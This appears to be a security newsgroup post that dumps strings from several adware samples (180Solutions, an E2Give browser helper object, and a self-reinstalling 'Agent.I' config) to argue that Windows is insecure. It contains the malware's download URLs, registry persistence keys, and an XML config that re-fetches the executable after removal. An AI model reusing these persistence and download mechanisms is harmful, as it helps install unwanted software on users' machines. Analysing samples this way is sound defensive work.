
The now famous 180Solutions (after a visit Windowsupdate and this issue
was supposedly patched):

open
 /boom_ver=
 /boom_path=
 /did=
Starting Executable................................
Could not start downloaded executable.
Starting Executable...
Could not write the target file.
Could not create the target file.
Downloading Signed File..
Contacting Server...............................
Contacting Server..
180search Assistant
EXE:
ExeDeleteEvent
PID:
"%s" PID:%d EXE:"%s"
Software\Microsoft\Windows\CurrentVersion\Run
Software\180solutions\msbb
Software\180solutions\msbb\Placements
nCASE
msbb
Log:
Log:
Deleted previous log
Settings:
boomdb.txt

This one featured in the URL above:

SOFTWARE\E2G
http://prutect.com/pi.exe
\pi1.exe
Bad url
lastCheck
lastBuild
\IeBHOs.dll
\IeBHOs.new
installDir
build
merchants
e2give.com
&popup=
popup
go/check?build=
checkStarted
IeBHOs.Control
{3643ABC2-21BF-46B9-B230-F247DB0C6FD6}
CLSID
IeBHOs.Control.1
oÖWriteFile
CreateFile
HKEY_CURRENT_CONFIG
HKEY_DYN_DATA
HKEY_PERFORMANCE_DATA
HKEY_USERS
HKEY_LOCAL_MACHINE
HKEY_CURRENT_USER
HKEY_CLASSES_ROOT
HKCC
In order to finalize removal, you must reboot your computer.
E2Give Plug-in
NoRemove
askearth.com/go/show?t=e2give
\data.new
RegSetValueExA
RegDeleteKeyA
RegEnumKeyExA
RegCreateKeyExA
RegDeleteValueA
URLDownloadToFileA
DllRegisterServer

IeBHOs 1.0 Type LibraryWWW
Control BHO ClassW
Created by MIDL version 6.00.0361 at Mon Oct 25 17:59:51 2004
¡}AWW
ÿÿÿÿ0
HKCR {
        NoRemove AppID {
                '{3B99F202-145A-4E5A-AC7B-88A36910BF5E}' = s 'IeBHOs'
                'IeBHOs.DLL' {
                        val AppID = s '{3B99F202-145A-4E5A-AC7B-88A36910BF5E}'
HKLM {
        NoRemove Software {
                NoRemove Microsoft {
                        NoRemove Windows {
                                NoRemove CurrentVersion {
                                        NoRemove Explorer {
                                         NoRemove 'Browser Helper Objects' {
                  ForceRemove '{3643ABC2-21BF-46B9-B230-F247DB0C6FD6}'
  }

This one regenerates itself if you try to remove it (Agent.I). Note
the name of the server; how appropriate ;) :

<?xml version="1.0" ?>
<poll interval="60000" recoveryinterval="86400000" configtype="test">
  <restoreIf url="http://static.callinghome.biz/download/cabs/THNALL1R/thnall1r.exe" hive="HKLM" key="Software\Vendor\xml">
    <missing>
      <reg hive="HKLM" key="SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{000020DD-C72E-4113-AF77-DD56626C6C42}" />
    </missing>

DCOM. IFRAME. Adobe "steam" issue. CHM. Lsass. gdiplus. It never ends... How
can this be secure? And last- someone having an opionion different from yours,
no matter how strongly they feel about it, is not a "troll". This is a group
which discusses matters related to comp. security and that is what that was.
People will use what they will; if someone makes a statement which I feel is
incorrect, then I will attempt to prove it wrong with the facts I have and
what I know, have seen, or done.

-- 
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
+++ killed by SIGSEGV +++


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